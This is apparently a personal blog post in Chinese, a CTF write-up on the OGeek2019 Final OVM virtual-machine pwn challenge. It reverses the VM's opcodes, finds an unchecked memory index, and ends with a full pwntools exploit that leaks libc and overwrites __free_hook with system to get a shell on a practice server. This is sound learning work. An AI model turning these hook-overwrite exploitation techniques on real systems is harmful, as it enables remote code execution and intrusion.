vmpwn入门学习

记录下不开心的事情,今天是10月9日,我们ReT0战队有幸进入

长安,长城杯的决赛,因学校学工部阻拦无缘两大比赛线下,小本本记上!

一直听说vmpwn,从未行动,现在开始来学习!!

[OGeek2019 Final]OVM

main

主函数中第一次输入PC是在execute函数退出时候的判断,当传入的case符合条件并且!reg[13]就exit

SP是相当于堆的起始序号,从fetch函数可以理解,代码如下

1
2
3
4
5
6
7
8
__int64 fetch()
{
int v0; // eax

v0 = reg[15];
reg[15] = v0 + 1;
return (unsigned int)memory[v0];
}

所以第一次输入1,第二次输入0;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &v5);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &v6);
getchar();
reg[13] = v6;
reg[15] = v5;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &v4);
getchar();
if ( v6 + (unsigned int)v4 > 0x10000 || !v4 )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; v4 > i; ++i )
{
_isoc99_scanf("%d", &memory[v5 + i]);
if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 )
memory[i + v5] = 0xE0000000;
getchar();
}
while ( running )
{
v7 = fetch();
execute(v7);
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
realfree(comment);
write(1, "Bye\n", 4uLL);
return 0;
}

我们继续分析,在对应vmpwn这种题,execute里面的命令分析是最主要的,菜单堆是直白告诉你我要干嘛,vmpwn普通的就是蛋疼

逆向菜单指令

execute里面指令逆向得到结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]

0x10:
dst = a1&0xff

0x20:
dst = ((a1&0xff)==0)

0x30:
dst = memory[op1]

0x40:
memory[op1] = dst

0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst

0x60:
reg[13]--
dst = stack[reg[13]]

0x70:
dst = op1 + op2

0x80:
dst = op2 - op1

0x90:
dst = op1 & op2

0xA0:
dst = op1 | op2

0xB0:
dst = op1 ^ op2

0xC0:
dst = op2 << op1

0xD0:
dst = op2 >> op1

0xE0:
running=0
if !reg[13]:
exit
show all reg

我们继续看下漏洞在哪,execute中的这段代码当case0x30的时候memory的下标未检测,数组溢出

1
2
3
4
5
else if ( HIBYTE(a1) == 0x30 )
{
result = (ssize_t)reg;
reg[v4] = memory[reg[v2]];
}

然后这个题他其实就是个堆,把菜单变的恶心了罢了,而且他有free可以用。

思路如下:

emory位于0x202060偏移处,在0x202040处正好就有一个指向堆的指针,并且程序结束时允许我们输入0x8c个bytes,如果我们能把这个指针改了,不就能进行一次任意内存写了吗?
而位于0x201FF8偏移处有_IO_2_1_stderr_的地址,该地址+0x10A8即为_free_hook

利用0x10(赋值)和0xC0(左移)操作构造出0x10A0
利用0x70(add)功能让reg中的stderr地址增加0x10A0
再次利用数组越界把增加之后的地址写到$rebase(0x202040),即comment[0]的位置
退出运行,先利用泄露的寄存器的值计算libc,然后输入’/bin/sh’+p64(system)即可
————————————————
exp来源 https://blog.csdn.net/weixin_44145820/article/details/106600382

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

r = remote("node3.buuoj.cn", 29381)
#r = process("./OGeek2019_Final_OVM")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xCFE)
x/10gx $rebase(0x242060)
c
''')

elf = ELF("./OGeek2019_Final_OVM")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
success("malloc:"+hex(libc.sym['malloc']))
success("system:"+hex(libc.sym['system']))
success("free_hook:"+hex(libc.sym['__free_hook']))


def code_generate(code, dst, op1, op2):
res = code<<24
res += dst<<16
res += op1<<8
res += op2
return res

r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0, 0, 26))) #reg[0] = 26 (stderr)
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 2, 0, 1))) #reg[2] = memory[reg[1]]
r.sendline(str(code_generate(0x10, 0, 0, 25))) #reg[0] = 25
r.sendline(str(code_generate(0x10, 1, 0, 0))) #reg[1] = 0
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 3, 0, 1))) #reg[3] = memory[reg[1]]
r.sendline(str(code_generate(0x10, 4, 0, 1))) #reg[4] = 1
r.sendline(str(code_generate(0x10, 5, 0, 12))) #reg[5] = 12
r.sendline(str(code_generate(0xC0, 4, 4, 5))) #reg[4] = reg[4]<<reg[5]
r.sendline(str(code_generate(0x10, 5, 0, 0xA))) #reg[5] = 0xA
r.sendline(str(code_generate(0x10, 6, 0, 4))) #reg[6] = 4
r.sendline(str(code_generate(0xC0, 5, 5, 6))) #reg[5] = reg[5]<<reg[6]
r.sendline(str(code_generate(0x70, 4, 4, 5))) #reg[4] = reg[4]+reg[5]
r.sendline(str(code_generate(0x70, 2, 4, 2))) #reg[2] = reg[4]+reg[2]
r.sendline(str(code_generate(0x10, 4, 0, 8))) #reg[4] = 8
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 2, 0, 5))) #memory[reg[5]]=reg[2]
r.sendline(str(code_generate(0x10, 4, 0, 7))) #reg[4] = 7
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 3, 0, 5))) #memory[reg[5]]=reg[3]
r.sendline(str(code_generate(0xE0, 0, 1, 1))) #exit

r.recvuntil("R2: ")
low = int(r.recvuntil('\n').strip(), 16) + 8
r.recvuntil("R3: ")
high = int(r.recvuntil('\n').strip(), 16)
free_hook = (high<<32)+low
success("free_hook:"+hex(free_hook))
libc.address = free_hook - libc.sym['__free_hook']
system = libc.sym['system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline('/bin/sh\x00'+p64(system))

r.interactive()

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信